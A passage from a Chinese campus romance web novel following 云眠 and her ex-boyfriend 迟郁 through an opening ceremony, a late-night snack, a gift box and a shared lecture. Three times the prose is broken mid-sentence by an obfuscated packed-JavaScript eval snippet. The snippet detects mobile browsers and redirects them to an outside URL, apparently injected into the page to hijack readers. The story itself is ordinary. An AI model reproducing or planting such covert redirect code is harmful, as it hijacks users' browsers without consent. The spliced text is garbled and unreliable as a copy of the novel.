语毕，所有观众纷纷转过头去寻找这个被迟郁亲自选到的幸运观众，一时间吵闹不止。 云眠忽然反应过来，微微侧目，看见左边的舍友椅子上一个大大的“5”，而她的右边是“7”。 云眠愣住，后知后觉发现，自己便是万众瞩目的被大一学生代表亲自选中的，幸运观众。 4. 冰糖 被这么多人齐刷刷盯着的感觉，云眠面上不免有些炽热。 礼堂很大，分为前后两部分，前面各有三片区域。云眠坐在中间的最后一排，迎着所有前排和左右两排的目光，她微微低头，总觉得后脑勺也要被人盯穿了，耳边隐约可以听见其他观众羡慕的声音。 她垂眸，手指戳了一下旁边小声欢呼着的徐燕：“燕子，你替我上去吧。” “啊？”徐燕愣了一下，不解道，“为啥呀？你多幸运啊。” 云眠抿了抿嘴唇，心说她不想。 除去跳舞时，她并不喜欢站在台上被万众瞩目的感觉。 于是，云眠趁着距离远，大家只是在寻找中奖人的位置，没人真正注意到她，站起身想要和徐燕换个位置。 她刚一站起，礼堂的光束倏地集中到了身上。 一半照着迟郁，一半照亮了她。 整个礼堂似乎安静了起来，云眠再也听不见任何声音，只见迟郁静静地立于台上。 长身玉立，褪去嚣张与不羁，他一身定制西装，风度翩翩，一双眸子望来，竞有几分温暖与柔和。 这样的迟郁，她有些不习惯。 与传闻中高冷高傲又矜贵的大少爷不同，迟郁很少安静。 他话多，常常是课间站在楼道里半倚着墙聊天的角色，因为太吵而被教导主任叫去谈话的角色，亦或者是操场上踢球打闹的角色。 迟郁人缘好，总是让人捧着，提起他，所有人话里话外都是“迟大少爷”“高攀不起”“今年又捐了几栋楼”。无他，他性格不错，出手阔绰，长得又帅，家里早就铺好以后的路了，能和迟郁交朋友，是天大的喜事，大家都很开心且向往。 当然也有例外。 那是一个热气蒸腾的午后。 三楼的水房坏了，云眠只得下楼去接水，正听着水流哗啦哗啦越来越满，她的旁边不知何时溜来一个染着半个黄毛的小混混。 小混混瞟她一眼，又一眼，终于开口道：“欸，你是不是云眠？” 云眠扭头看他一眼，便转过头去，轻轻“嗯”了一声。 “迟郁是不是喜欢你？”小混混再次问。 云眠不知该如何回答，默不作声。 “我听说他在追你，不过你没答应，对吧？”小混混靠着净水器，露出一抹笑意，“你不答应是对的，那种不食人间烟火的少爷，喜欢一个人能喜欢多久？玩玩罢了。” 他俯下身，抬手摸上了云眠的肩：“你别跟他好，跟我吧。咋样？” 云眠蜷缩了一下，不动声色地挪开肩膀。 “装什么？”小混混皱了一下眉，掏出烟点上，大摇大摆地抽了起来。未等他继续，一股力量从后面穿来，他膝盖一软，滑倒在了旁边的地板上，半个裤子被水浸湿。他不满地转头—— 迟郁站在他身后，踩碎了掉落在地上的烟头，不咸不淡道：“呛死了。” 云眠抬头，看见他眼底毫无情绪。 ——和现在全然不同。 云眠站在台下，光落在他眼中，竟多了几分柔情。 - 说是互动，其实只是例行地询问一些与学校相关的问题，再由迟郁做解答，借此宣传学校。 云眠拿着话筒，却从未抬起胳膊，她站在最末尾的离迟郁最远的位置，全程一句话都没说。 她没有台本，也没有可以活跃氛围的话题，于是干脆沉默。 “听说学弟入学后，迟总给学校的琴房都做了升级，想问一下学弟为什么选择钢琴专业呢？” 云眠顿了一下，思绪差点随这句话飞走。 如果没记错，迟郁学钢琴，好像是为了自己。 但她明晃晃听见迟郁的声音停顿片刻，随后响起：“首都大学的钢琴专业在全国范围内有名——” 剩下的话，她没有注意。 心中泛起一股莫名的感觉。 “我有问题！”站在云眠旁边的女生忽然举起手，向前跨出了一小步，话里带笑，“我想问一个不怎么合常规的问题。” 声音太大，云眠被她惊到，不由得转过头看向那女生。 女生手撑着下巴，做出好奇的姿势，说道：“我想问一下，学弟长得这么帅，有没有女朋友？” 她话一说完，礼堂里便传来笑声，大屏幕也随之锁定了迟郁，仿佛问出了所有观众的心声。 迟郁拿起话筒，嘴角弯了一下：“没有。” 礼堂内的欢呼声此起彼伏，更加兴奋。 “欸！学弟这么帅还没有女朋友吗！是没有喜欢的人吗？”女生似乎真的在惊讶，声音变得更大，“按理来说，不会有人能拒绝你吧。” 云眠垂着眼睛，静静地聆听他们的对话。 “是吗？”迟郁声音低沉又有磁性，他不紧不慢，转过头露出完美的侧脸，“那我们来问一下这位同学吧。” 顺着他的目光，镜头转向了最角落的云眠。 “如果我喜欢你，你会喜欢我吗？” 他语气轻松，但太过熟悉的台词，恍惚之间云眠竞听出了他些许犹豫与脆弱，不由得晃了神，轻轻抬起眼眸。 她看到的便是这样一幅场景—— 迟郁的视线似有似无地落在她身上，而迟郁身后的大屏幕正对焦着她的脸。 云眠顿时愣在了原地。 耳边似有烟花炸开，嗡鸣声中倏然响起刚刚的话。 “如果我喜欢你，你会喜欢我吗？” 云眠感觉自己登时陷入了两难的境地，喜欢，还是不喜欢？ 她不知该怎么回答。 “这位同学，你来回答一下吧？” 云眠抬头，发现大屏幕不知何时切换成了自己旁边的那位女生。 而那女生满脸通红，激动又兴奋地说：“当然会喜欢你了！” - 也许该庆幸吗？ 没有问到自己。 直到开学典礼结束，迟郁那张含着几分似有似无笑意的脸仍然在她脑海中围绕，久久挥之不去。 她刚刚的样子，一定很傻吧。 云眠弯了弯眉眼，她竟然因为迟郁拙劣的戏码而愉悦。 室友询问她是否要一起回宿舍，云眠拒绝了，独自一人默默捡拾着座位上的垃圾。 礼堂中的人逐渐散去了，云眠的位置靠后，几乎所有离场的观众都要经过她，有一次，她抬头正对上了付语容不屑的表情。 但付语容只是瞪了她一眼，没说什么。 还有一些提着长裙摆离去的演出者，云眠在座位上坐了片刻，没见到迟郁。 她自顾自地以为，迟郁今晚要和她一起吃饭了。 主持人应该很忙吧？ 云眠起身，正准备离去，手机忽然响起。 [迟郁：你走了吗？] 云眠停下脚步，回头张望，没见到迟郁的身影，唯有一片空荡。 她正打字，又一条消息传来。 [迟郁：你来后街] 云眠发送了一个“好”，便朝后街走去。 这是首都大学一条小吃街的名称，通常营业到晚上十点，而此时指针已经跳转到了九点五十，云眠走得着急了起来，全然不顾腿上的伤口隐隐作痛。 大学生的夜生活总是丰富的，哪怕夜色已晚，石子路上仍然有很多人，拎着食物边走边吃。 晚风轻轻吹着，云眠干脆扎起了头发，边走边寻找着迟郁的身影。 临近后街，路过一片小树林时，她猛然听见了嬉笑的声音。 转头看去，迟郁正被一群女生包围着，女生们似乎很开心，有一搭没一搭地和他聊着天。 云眠站在了原地。路灯照亮了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621173|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸，淡漠没有情绪。 半晌，她收到了新的消息。 [迟郁：你在哪？] [迟郁：小猫探头.jpg] 云眠不知道该如何回复。 我在你面前，看见你在和别人说话，所以我在旁边等一下？ ……太奇怪了。 云眠手指移动，敲了几个字。 [眠眠：可能，快到后街了吧。] - 收到回复后，迟郁便径自离去，终于摆脱了那群女生。 实在是有点儿难缠。典礼结束后已经接近十点，他记得云眠曾经发朋友圈提起过爱吃后街的冰糖草莓，便马不停蹄地赶来。 本来想等云眠一起的，但她腿受伤了，应该少走路。 于是迟郁一把扯下脖子上的主持人牌，穿着自己最贵的西装直奔后街。 终于赶在打烊前买下了最后两串冰糖草莓，迟郁低头看了一眼自己被灌木刮坏的定制西装裤，心说这就是校园恋爱的感觉么。 上次吃这东西，还是高中时云眠买给他的。 [cy：你来后街] 刚垂眸打下几个字，迟郁便被一个女生拽了衣角。 “你好，同学，你长得好好看呀。” “……谢谢。”迟郁愣了一瞬，从嘴里挤出几个字。 “哎！你你你是不是——”另一个女生手指着他，拿出手机飞快地翻着，“你是不是今天开学典礼的主持人啊！我在网上刷到了！” 几个女生十分自来熟，当着他的面聊了起来。 眼瞅着话题跟自己没什么关系了，迟郁后退一步准备离开。 “你别走呀！”女生手疾眼快，恨不得抓住迟郁，“你还没说呢！这个是你吧？” 好麻烦。 迟郁在心里叹了口气。 若不是为了在云眠面前刷点存在感，他才不当这个鬼东西。 见他不语，女生们热情未减，掏出手机要跟他合照，叽叽喳喳围着他说个不停。 迟郁皱了皱眉，手里还攥着两根冰糖草莓，视线打量着周围的路人。 云眠看到他的消息了吗？迟郁不知道。 手机上的消息显示是几分钟前，云眠没有回复。 他心里不免焦急了起来，转身便要离去。 “你去哪！”女生再一次发现了他。 迟大少爷第一次上大学，高中时虽然也有不少女生喜欢他，但沉迷于学习的大家从没有如此直接、热络的行为。迟郁第一次经历这种被女生包围环绕的事情，脸上登时有些挂不住。 更何况，云眠还不知去哪儿了。 他面上发冷，默不作声，几个女生见他态度恶劣，顿时没了声息。 迟郁趁着这个空档，侧身走出了人群。 [cy：你在哪？] 他点击发送，几秒钟后又挑选了个可爱的小猫表情。 没多久，云眠回复了他。 快到后街了？ 迟郁转身，再一次寻找了起来，盛夏太热，冰糖已经有些要化了，迟郁打算明天让家政阿姨在家多做几个送来。 久别重逢，只送两根冰糖草莓实在太过寒酸。 如果可以，最好是再拿来点营养品和保健品，他看云眠比之前更瘦了。他记得，平时迟母总爱拿这些东西送人，说对身体好。 迟郁没吃过，但他想送给云眠。 ……云眠好像很缺钱花。 他旁敲侧击地打听了一下，听几个数学系的学长学姐说，云眠在网上兼职，天天在宿舍做烫花。于是迟郁在各种平台上翻了半天，才找到了云眠的账号。 先下一百单吧，短时间内应该够她花了。 正想着，迟郁的脚步停了下来。 他看见不远处，云眠在石桌旁坐着。 旁边是个男人。 5. 草莓 时间已过十点，一整条街的商铺渐次关灯，宣告打烊，但依稀的灯光依旧不能阻止后街热闹沸腾，人来人往。 云眠找了个僻静的地方坐下，这里离路灯远，不至于有飞虫。 她百无聊赖地等着迟郁，没过多久，一条影子恍然靠近，拉开凳子坐在了她旁边的位置。云眠抬头，发现是和她同一专业的学长。 学长叫王世辉，曾经和她一起参加过竞赛，人很自来熟，从那以后便总是和云眠搭话。此时学长正捧着一份关东煮，向她递来一串鱼丸：“云眠，好巧啊，你也在这儿啊。吃不？” 云眠摇了摇手：“谢谢，我不吃这个。” “哦，好吧。”王世辉把鱼丸放了回去，继续翻找着什么，“怎么这么晚还在外面，你也参加开学典礼了？” 云眠：“我去当观众了。” 王世辉翻了半天，发现整个纸盒里被他吃得只剩鱼丸，最终放弃：“我也是刚结束，我算半个负责人，还得帮着打扫卫生。哎，你看到迟郁了吗？那个大一的主持人。” 云眠点了点头。 “你怎么没跟我说你俩是同学啊，他还挺关心你的。” 云眠“啊”了一声，有点不明白。 “就是，我们今天上午彩排嘛，一大群人一起聊天。”学长嚼着鱼丸，断断续续说道，“他挺高冷啊，我们都不敢跟他说话。不过一听我们是数学系的，迟郁就过来搭话了。” “问我们认不认识大二的云眠。” 未等学长继续说，不远处突然传来一声轻咳，王世辉回过头，云眠也顺着望去。 迟郁停在离他俩很近的位置，咫尺之间，似乎伸出手便能摸到学长的头顶。 此时他眼皮耷拉着，一双漆黑的眸子扫视着两人，颇有些审视的意味。 嘴角也绷着，看起来心情很差。 他还穿着晚上的西装，路灯从侧面攀上肩膀，半张脸被点亮，发丝闪着光。 迟郁又咳了一声，视线滑过云眠，最终落在王世辉身上：“你谁？” 他本就主持了几个小时，此时声音低沉又有些沙哑，冷漠中像带着几分怒火。 “啊？？” 王世辉曾听说过迟郁的传闻，但接触时间不久，他以为迟大少爷其实脾气很好。第一次见这种语气的迟郁，不免有些结巴：“我、我，你不记得我了？你今上午还跟我说话啊？” “我是云眠的学长——” “你不是还问我云眠做烫花的事儿吗！？” 王世辉很意外，赶忙吐露着两人的交集，他可不想得罪这个学校的新宝贝。 突然提及自己，云眠表情僵了一下。 迟郁挑了下眉，像记起来什么。脸上虽然仍没什么表情，但看起来心情好了一点儿。 他视线投向石桌上放在两人中间的关东煮，不咸不淡地看了一会，收回了视线。 迟郁垂了垂眼睛，幅度很大地伸了个懒腰。 王世辉见他一直不轻不重的打量着自己的位置，此时仿佛打通了任督八脉般，犹豫着往旁边挪了一下。 迟郁顺势坐下，顺手推远了关东煮。 “呃……那，你们聊？”王世辉一把拎起食物，示意自己还有事先走了。 氛围不对，十分不对。 迟郁抬眼：“嗯。” 云眠挥了挥手：“学长拜拜。” 眼瞅着大少爷又要心情不好了，王世辉紧赶慢赶走了。 灯光微弱，月色撩人。 云眠微微侧头，不着痕迹地看了眼迟郁。 学长的意思是——迟郁知道她在网上兼职了？ 正犹豫是否主动询问，迟郁忽然抬眼：“你喜欢吃那个？” 意识到他指的是关东煮，云眠顿了一下，摇了摇头。 他袖口规整地卷着，整个人褪去了方才的戾气，半张侧脸秀气又有距离感，眼睛垂着，睫毛很长。 云眠有些不自在，低下头，手指攥紧了衣摆：“那个——” “那个——” “咳……”迟郁清了清嗓子，“你先说。” 云眠眼睛望向他：“你先说吧。” 迟郁沉默了一瞬：“就是，我刚刚没给你发消息，是因为……” 云眠抬起头。 “去给你买了这个。” 他从背后拿出两串冰糖草莓，随后便再没有说话。 晚风轻柔地扫过他发丝，云眠忽然闻到了一股香气。 像古朴的木质香调。 “这样啊。”云眠礼貌地笑笑。 她没懂迟郁指的是哪次“没发消息”，明明刚刚，自己看见他和一群女生待在一起。 “你刚刚要说什么？”迟郁问道，他靠近了一些，香气极具侵略性地传来。 云眠看向他额头，盛夏的晚上温度也不低，迟郁穿着长袖西装，流畅饱满的额头难以避免地浮现了一滴汗珠，碎发被打湿。 云眠竟然不知天高地厚地觉得，高高在上的迟郁像被打捞起的小狗，她勾了勾嘴唇，反应过来后又敛去了笑意：“没什么……你今天很帅。” 迟郁愣住。 云眠明显地看见他眼睛在一瞬间亮了起来，像摇起尾巴。 “那，如果今天的问题，问的是你。”迟郁勾起唇角，下意识地问出口，声音越来越小，“你会怎么回答。” 说到最后，竟然有点闷闷不乐。 没有回答，云眠拿起了一串草莓。 迟郁后知后觉，咬了下嘴唇，没有继续追问。 并不寂静的夜晚，匆匆而过的行人，喧哗吵闹的声音。 迟郁撑着下巴，歪头看她慢慢地吃着那串冰糖草莓。 他们已经很久、很久没有如此安静地坐在一起了。 彼此都不知道对方在想什么，但彼此都心照不宣地守护这一丝宁静。 - 清晨的阳光照着阳台。 云眠的舍友还未醒，她拎着板凳，坐着阳台上剪着烫花材料。 将布料一个个裁剪成小片的花瓣，是一个让人放松的过程。可持续了两个小时后，云眠突然停住，叹了口气。 昨晚，她没有睡好。 吃完那串冰糖草莓后，迟郁提出送她回到寝室。 云眠客气地拒绝，但无效，两人便结伴而行。 一路上，迟郁都没有跟她说话，只是目光偶尔落到她身上，像欲言又止。 云眠有些摸不透。 于是，她强迫自己睡下，又在第二天的六点起床，悄声地洗漱。剪了两个小时花瓣后，她有点儿想通了。 这才是迟郁本来的性格吧？ 和她的懂事安静不同，迟郁从来不需要向任何人主动开口。 也许是她的沉默，让迟郁不想跟她继续说话了。 正这样想着，云眠的手机屏幕突然亮起。 她打开，便看见自己的新顾客发来的消息。 [hxhmmzmb：你好，我定制的花开始做了吗？] [眠眠：是的。] 她发去一张图片，是自己坐着凳子，两条细腻白嫩的大腿上铺满了白色花瓣，反倒衬得她皮肤更加雪白。但膝盖处的伤疤依旧清晰，已经不再流血，她便没有继续包纱布。 半天没收到回复，云眠正思考是不是自己的图片有哪里不妥。 屏幕上方突然弹出微信消息提醒，迟郁很巧合地向她发送了消息。 [迟郁：你醒了吗？] 云眠回复了一个“嗯”。 [迟郁：方便下楼一下吗？] 云眠转头，扫了一眼正在昏睡的舍友们，很小声地关上了门，下楼。 迟郁正站在不远处的树下，整个人铺满了阳光。 他单手拿着手机，另一只手拎着精致的礼盒。 迟郁今天穿得很简单，灰色卫衣，运动裤，看起来干净又利落。高高瘦瘦的，碎发微微遮住眉毛，散发出一股蓬勃的生机。 见她靠近，迟郁收起了手机，转身，阳光转折错落到他身后，勾勒出流畅的线条：“我昨晚回家了。” “嗯？”云眠愣了一下。 接过他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621174|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼盒，云眠盯着包装看了一眼便知，一定不便宜。 “这是给我的吗？”犹豫片刻，她询问，带着几分不确定。 “嗯，我妈让我给的。”迟郁说。 云眠立马还了回去：“我不能收。” “拿着吧，不然我妈该揍我了。”他话里带着几分笑意，低头，碎发扫过睫毛，迟郁轻眨了下眼睛。 沉默片刻，迟郁的神情多了几分认真，像要说出什么正经的话语。 云眠呆呆地回望，不知该作何反应。 “其实，我有一个问题想问你。” 云眠点点头。 他看起来很专注，收起了平时吊儿郎当的散漫，站得很直。 云眠突然有种他要表白的错觉。 “就是。”迟郁出声，有种这个年纪的小男生特有的清脆与稚气，“我昨晚回去查了查，那个叫关东煮？” “你不喜欢关东煮的话。” 云眠眨了眨眼睛。 “喜不喜欢你学长？” “……” 所以，他大早上八点跑来她宿舍楼下，就是为了，问这个问题？ 云眠有些懵，话里多了一丝犹豫与迟疑：“不喜欢啊。” “那……” 扑通、扑通。 云眠咽了咽口水，不知自己在期待什么又在害怕什么。 现在太早了，宿舍楼下没什么人，空旷的草坪前仅有他们两个。 迟郁要说什么？ 那，迟郁要追她吗。 云眠其实是不希望听见这句话的。 她……不能答应迟郁。 可如果迟郁真的问了，该怎么办？ 可她就这样笃定迟郁还喜欢她，是不是太盲目自大了？ 但她内心似乎在隐隐肯定。云眠觉得，迟郁还是喜欢她的。 半晌，云眠看见他喉结滚动了一下，一双纯黑的眼眸亮了半瞬，弯了弯唇角：“那就行。” 啊？ 云眠没懂他的意思，她觉得迟郁突然变得有点儿奇怪。 - 云眠那双小鹿般的圆杏仁眼睛此时正带着几分认真地看着他，慢慢又黯淡下去，没什么情绪。 像有什么期待落空。 迟郁袖子里的手正掐着自己大腿，见状倏地松了手。 还好，没表白。 现在还不是时候。 昨天，那什么直系学长离开之后，又给他发送消息轰炸，看见内容的迟郁气得一晚上没睡觉。 他似乎在疯狂解释自己和云眠的关系，仅仅是普通朋友。但看着那些“竞赛时并肩作战”“见到了会打招呼”“有时候一起聚餐”，迟郁气得浑身沸腾，嫉妒得眼红。 尤其是，这些故事发生在云眠不和他联系的一年内。 因此，送云眠回到宿舍后，他便一脚油门冲回了家。 迟母看着自己儿子仅仅上了一天大学，便刮烂了一身西装，并且关门声大得差点把车门摔坏，有些不解地探出了头：“你干嘛？” “妈。”迟郁在地上翻箱倒柜，“你平时吃的营养品呢？” “明天让阿姨给你找呗，大晚上的翻什么翻。”见他没事，迟母翻了个白眼，继续敷着自己的面膜。 “妈，你知不知道一个东西，用圆桶装着，一串串的。”迟郁边说边比划。 “章鱼小丸子？麻辣串？关东煮？” 迟郁搜了半晌，给予了肯定回答：“就是关东煮。” “……儿子，我平时也没少给你钱吧？想吃就买啊，在网上搜什么？” “我想收购我们学校后街的关东煮店。”迟郁认真道。 “你疯了。”迟母敷上手膜，连个眼神也没分给他。 “妈，你把你的营养品给我份，越贵越好。” 迟母皱眉：“为什么？” 迟郁停下手中的动作，整个人半跪着，垂下了眼睛，像思索什么，半晌道：“我觉得云眠太瘦了。” “云眠？” 迟母面色一变：“那个甩了你的小女生？” 6. 蝴蝶 迟郁一顿，随手将手中的盒子扔到地上，发出“砰”的一声。他声音很小，又有点闷：“……什么叫甩了我啊，我们是和平分手。” “和平分手？” 迟母冷哼一声：“装什么，如果真是和平分手，你会天天在家哭？” “很贵的，别给我乱扔。”她弯腰，捡起地上的盒子。倏地，她像想起什么，话锋一转：“他们家是不是很穷？” “我没哭。”迟郁眉头一蹙，抬头，看了她半晌。 迟母早已把东西放好，保持着双手环抱的姿势，脸上面膜遮挡了表情。她反问：“你瞪我干嘛？” “妈。”迟郁转过脸，轻轻叹了口气，抬手戳了戳桌面上的小盆栽，“您能不能别在网上乱听小说了。” 迟母猛地一拍手：“你怎么知道我在听：重生之我是恶婆婆！？” 迟郁瞥她一眼，随手抓了下头发：“妈，你快帮我找找。当我买你的，行不行？” 闻言，迟母转身回房，没多久拿出一个更为精致昂贵的礼盒：“给，这是最贵的。不过——你们这个年纪的小孩还需要吃营养品吗？” “那应该吃什么？” “就，正常吃饭啊。”迟母思索片刻，又拎出一箱营养品，“反正你统统送给她就行了，咱家最不缺的就是钱。” - 实在是，太贵重了。 云眠拎着礼盒回到宿舍时，舍友们已经醒了，对着它研究了一番。徐燕拿出手机捣鼓半天，惊叹一声：“天哪！这么贵！还是国外进口的，国内的软件根本搜不到！” “眠眠，这是你哪个追求者送的啊？” 云眠顿住，重新包装好后，抬手放到了柜子里，轻声道：“不是追求者。” 她给迟郁编辑了信息，明确说明自己真的不能收下，以及表达了对他的感谢。几秒后，迟郁的电话打来。 他声音吊儿郎当，似乎并不在意这东西：“你不用跟我妈客气啊，她……之前就想见你来着。” 半晌，他又补充道：“她挺喜欢你的。” 话筒处理过，他的声音沙哑又带了丝电流声，流入耳朵里。 云眠顿时陷入了沉默。 她和迟郁妈妈的交集很少。 只记得那天是下着小雨的日子，云眠撑一把伞，从教室跑到了音乐楼。一路踏着积水，她裤脚已经有些脏污。 是艺术老师叫她来的。 原因是，从来没学过钢琴的迟大少爷闹着要学钢琴。艺术老师不肯，觉得甚至将他家长叫来。 老师曾教过云眠，也知道大少爷有多着迷这个小女生，稍微动点脑子便知他为何要学钢琴。 因此，云眠也被千里迢迢地叫了过来。 她踮起左脚，微微俯身向上卷着裤腿，雨水的潮湿细腻地扒住脚踝，她学过古典舞，此时弯起轻盈又好看的弧度，像一只在雨中翩然起舞的蝴蝶，腰肢柔软，晶莹剔透。 迟母刚一下车，便被对面的女孩吸引了注意。 她裸露的脚踝白皙又纤细，如同蝴蝶的触角。 云眠起身，恍然撞入她眼眸。 迟郁的妈妈像他一样，生得极为好看且高贵，从昂贵的名牌车上落脚，纵然有万千大雨也伤不到分毫。 两人气质太过相似，根本无需介绍。云眠站直身子，微微低头，礼貌地问好：“阿姨好。” 而迟母只淡淡看了她一眼。 “你就是云眠？” 后面呢？ 她视线仅停留片刻，便跳到音乐老师的身上：“老师，我是迟郁妈妈。请问有什么事？” 擦肩而过时，云眠没有抬头。 - 剩下的一个舍友很快也回到了学校，出人意料的是，她右腿打着石膏，艰难地蹦到了寝室。 云眠刚好准备开始制作烫花，被她这副样子吓了一跳，问道：“淼淼，你怎么了？” 于淼一个猛子扎到她怀里，喘着粗气：“累死我了！我在家把腿扭了，本来还要再躺几天——结果得赶回来上课！” “还是个水课！” “你是说，只有你挂科了的那个全学校一起上的水课？”林晓琳正拍着底妆，随口问道。 “对啊！！”于淼尖叫一声，“而且这学期还在六楼！我怎么爬的上去啊。” 她视线一转：“欸，琳琳，要不你替我去上吧？” “不行。”林晓琳涂上了口红，“我待会有课。” 未等她问，徐燕一把掀开床帘：“我也有课！” 于淼转身，委屈巴巴地朝云眠眨了眨眼，弱弱道：“眠眠……” “好吧，反正我没课。”云眠接过课本。 “耶！眠眠你最好啦！待会请你喝奶茶！” 这栋楼离她们宿舍很远，云眠走得腿疼，爬到五楼时甚至有些气喘吁吁，只能靠着墙休息一会儿。 太久没跳舞了。云眠心想。 从放暑假后，她便乖乖待在家里，偶尔几次出门都需要跟云初芸报备，交代好地点和回家时间，再等待她的许可。 只有一次。 她许久没跳舞，预约了家附近的舞室，结果正好撞上了请假回家休息的云初芸。 “你要去哪？”云初芸关上门，一双眼睛上下打量着她，“你包里装着舞蹈服——你要去跳舞？” 云眠手指蜷了一下，不慎松开。 她的衣服散落在地。 “没有，妈妈。”云眠开口，声音冷静又乖顺，“我准备拿去扔掉。” “我不会去跳舞的，妈妈。” 她露出一个笑容。 云眠低头，头发滑落垂到眼前，喘息了片刻后，她起身一口气走到了教室。 距离上课还有一段时间，教室却早已人满为患。云眠扫视了一圈，发现只有最后两排还有空座。她犹豫半晌，眼看着又有几人要进入教室，连忙坐在了倒数第二排，和旁边的男生隔了一个位置。 兀一靠近，便闻到呛人的烟味，云眠咳嗽了一声。 旁边男生抬头瞥了她一眼，自顾自地继续抽。 云眠把课本放好，将手机调至静音，转过头，温和地说道：“同学。” 男生用嘴叼着烟，朝她抬了一下脸。 云眠保持着冷淡的语调，提醒道：“教室里不能抽烟。” “什么？”男生没听清一般，可没等她重复，便点了点头，“哦，别人都没意见咋就你有意见？” “难道要所有人都有意见，你才会不抽吗？” 云眠语气很平，但落到男生耳中变得有些刺耳，他皱眉，大半个身子转了过去。 这一整排的男生都突然停下了交谈。 云眠在心中叹了口气，抬起眼睛寻找哪里还可能有空座，实在没有，站着也行。 她刚将手搭上课本，便被另一只手虚无地拦了一下。 云眠一顿。这只手修长纤细，骨节圆润好看，看起来温柔又有力量。更重要的是…… 看起来很熟悉。 她迟钝缓慢地抬起头，只见迟郁站在桌子旁，一双眼睛里泛着无奈与疑惑。 “学姐，这是我的位置欸？” 迟郁已然换了一身衣服，牛仔裤，黑卫衣，标准的男大学生穿搭，身上还透着一股刚洗完澡的沐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621175|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浴露的香气。 他头发还有点湿，随意地凌乱地搭在额头，眉毛轻挑着。 保持着轻轻伸手拦住云眠的姿势，迟郁的嘴角显而易见地勾起，露出一抹意味不明的笑意。 “你坐了我的位置，学姐。” 他重复道，声音忽然靠近，迟郁俯下了身子。 云眠一惊，从椅子上弹了起来，“吱啦”声惹得前面的同学频频回头望。 “不好意思。”云眠说得很快，“我以为这里没人。” 迟郁没说话，仍旧保持着那个姿势，同时手掌悄然蹭过她手背，轻轻摩擦了一下。 “迟哥！”旁边的男生也是一惊，连忙掐灭了烟头，“你不是说不来了么！？” 迟郁看都看没他，一双眼睛盯了云眠半晌，又收回视线。抬腿坐到了最后一排，抬手戳了一下站着的云眠：“好巧啊。” 云眠腰窝痒了一瞬，回头看见他似笑非笑的脸，点了下头：“……嗯。” “哥！我不知道你要来啊！” “我要是知道，我绝对不抽烟了！” “我、我也不知道她认识你——” 男生显然是认识迟郁，半扭着头喋喋不休地解释。 云眠被他吵得有些烦躁，坐下拿出手机随便刷着。 却听见，身后的迟郁不咸不淡地回了一句：“哦，我还以为，只有所有人都有意见，你才不会抽呢。” 几秒钟后，他又补充了一句。 “没想到我魅力这么大。” 云眠忍不住轻笑了一声。 - 迟郁没有想到，水课老师的魅力比他还大。 没过多久，教室里便睡倒一片，迟郁也有些昏昏欲睡。 前面的云眠仍旧坐得挺拔，头发顺滑地垂落着，有时被风吹起摇晃。 迟郁盯着她的后脑勺出神。 他打开手机，正准备给云眠发个微信，手指突然一顿—— 迟郁点开了昨天刚下载的交易软件，再次登陆了自己新注册的小号。 [hxhmmzmb：你好。] 他抬眼，看见云眠胳膊移动了半寸，手指跳跃。 下一秒，他的手机响了起来。 [眠眠：你好，已经在做了。] [hxhmmzmb：可以看看图片吗？] [眠眠：……等我回宿舍给你拍，可以吗？] 迟郁无声勾了下嘴角。 [hxhmmzmb：宿舍？你还是学生吗？] [眠眠：是的。] [hxhmmzmb:我也是。我是首都大学的，你呢？] 半晌，云眠回复了句“我也是”。 正准备继续打字，讲台上的老师突然停了下来，沉默片刻，抬高了声音：“最后边的那个男生，别玩手机了！” 迟郁抬起眼皮。 “对，就你，一上课就玩手机，不知道这门课很重要吗？”老师拿起课本敲了下桌子，将PPT切换到标题界面，露出四个大字：美学概论。 “来，你来回答一下这个问题——什么是美？” ……好抽象的问题。 迟郁皱了下眉，在很多人炙热的目光下缓缓起身，站直了身子。 恍惚间，他已经能听见教室里响起很小的交谈声。 迟郁垂下眼睛，看见云眠没变的姿势，黑色的长发，简单的衣服，摆在桌子上的仍然停留在聊天界面的手机。 以及微微泛着红晕的耳垂。 他声音很低。 “美是……哪怕面前有一万个人，你也只能看见那一个人。” 7. 翅膀 “……” 老师顿了下，随即冷笑一声，隔着一整个教室的距离向他望来，话里带着嘲讽与不屑：“这是什么回答，跟美有什么关系？” 几个坐在前排的同学随之哄堂大笑，窃窃私语声清晰可见。 迟郁依旧是没什么表情，站得挺拔又笔直，哪怕迎着无数道炽热的视线，他连头都没低，只是淡然勾了勾嘴唇，长睫轻垂，不急不慢道：“不是标准答案的回答也是回答。” “你这叫跑题。”他话语太绕，讲台上的老师轻哼一声，伸手指了指前面的云眠，“前面的女生，你来回答一下。” 云眠一愣，怔怔地站了起来。 